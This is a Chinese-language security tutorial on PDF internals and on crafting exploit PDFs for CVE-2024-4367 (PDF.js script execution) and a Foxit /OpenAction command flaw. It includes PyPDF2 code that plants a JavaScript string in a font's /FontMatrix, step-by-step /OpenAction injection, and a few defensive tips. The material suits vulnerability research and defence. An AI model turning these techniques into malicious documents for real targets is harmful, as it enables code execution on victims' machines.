PDF文档修改与漏洞利用技术详解

1. PDF相关漏洞概述

近期曝光的两个重要PDF漏洞：

1. CVE-2024-4367：PDF.js解析PDF时存在缺陷，可执行任意JavaScript脚本
2. Foxit PDF机制缺陷：Windows平台下可执行远程命令（有弹窗提醒）

这两个漏洞的PoC通常采用简单的字符串模板替换方式实现。

2. PDF文件格式解析

2.1 基本结构

PDF文件主要由以下几个部分组成：

1. Header：文件头，标识PDF版本
2. Body：包含文档内容的对象集合
3. Cross-Reference Table (xref)：记录对象位置
4. Trailer：提供文档目录的根节点和xref表位置

2.2 关键组成部分

• Trailer Dictionary：解析入口，包含：

  • /Root：文档目录结构的根节点
  • /Size：文档中对象的数量
  • /Info：文档元信息

• startxref：指定xref表的偏移位置

2.3 对象类型

PDF支持多种对象类型：

• Boolean Object
• Numeric Object
• String Object
• Name Object
• Array Object
• Dictionary Object
• Stream Object
• Null Object
• Indirect Object

3. 手动修改PDF文档

3.1 Foxit PDF漏洞利用

利用PDF规范中的/OpenAction功能：

1. 在/Catalog节点中添加/OpenAction
2. 该操作会在文档打开时执行指定动作

修改步骤：

1. 定位trailer dictionary中的/Root节点
2. 在Root节点（类型为/Catalog）中添加/OpenAction属性

3.2 偏移问题

手动修改后会导致：

• xref自身的偏移错误
• xref表中受影响条目后的偏移错误

但多数PDF解析器不完全依赖偏移地址，因此修改后的文档仍可被解析。

4. 使用PyPDF2库自动化修改

对于复杂修改（如CVE-2024-4367），推荐使用PyPDF2库。

4.1 PyPDF2优势

• 自动处理偏移计算
• 提供原子性操作方法（如_add_object）
• 生成合法的PDF文件

4.2 示例：添加字体对象

from PyPDF2 import PdfReader, PdfWriter
from PyPDF2.generic import DictionaryObject, NameObject, NumberObject, ArrayObject, TextStringObject

# 读取原始PDF
reader = PdfReader("original.pdf")
writer = PdfWriter()

# 添加页面
for page in reader.pages:
    writer.add_page(page)

# 创建字体对象
d = DictionaryObject()
d.update({
    NameObject("/BaseFont"): NameObject("/SNCSTG+CMBX12"),
    NameObject("/FontDescriptor"): ref2,  # 假设ref2已定义
    NameObject("/FontMatrix"): ArrayObject([
        NumberObject(1), 
        NumberObject(2),
        NumberObject(3),
        NumberObject(4),
        NumberObject(5),
        TextStringObject("alert(3)")
    ]),
    NameObject("/Subtype"): NameObject("/Type1"),
    NameObject("/Type"): NameObject("/Font"),
})

# 将对象添加到PDF
font_ref = writer._add_object(d)

# 保存修改后的PDF
with open("modified.pdf", "wb") as f:
    writer.write(f)

5. CVE-2024-4367漏洞利用详解

该漏洞需要更复杂的修改：

1. 添加字体节点
2. 在/Page的/Resources中声明该字体
3. 在/Content中添加使用该字体的文本内容

关联关系：

/Page -> /Resources -> /Font -> [恶意字体定义]
/Page -> /Contents -> 使用该字体的文本

6. 实用工具推荐

作者开发的pdf-exploit工具可以：

• 根据原始PDF文件生成恶意PDF
• 支持多种漏洞利用方式
• 自动处理复杂的对象关系

7. 防御建议

1. 及时更新PDF阅读器
2. 禁用PDF中的JavaScript执行
3. 使用沙盒环境打开不受信任的PDF
4. 对PDF文件进行安全扫描

8. 参考文档

1. PDF_ISO_32000-2标准文档（特别是7.3和7.7.2节）
2. PyPDF2官方文档
3. PDF文件格式技术规范

通过深入理解PDF文件结构和相关漏洞原理，安全研究人员可以更好地分析PDF安全风险，同时开发人员也能更安全地处理PDF文档。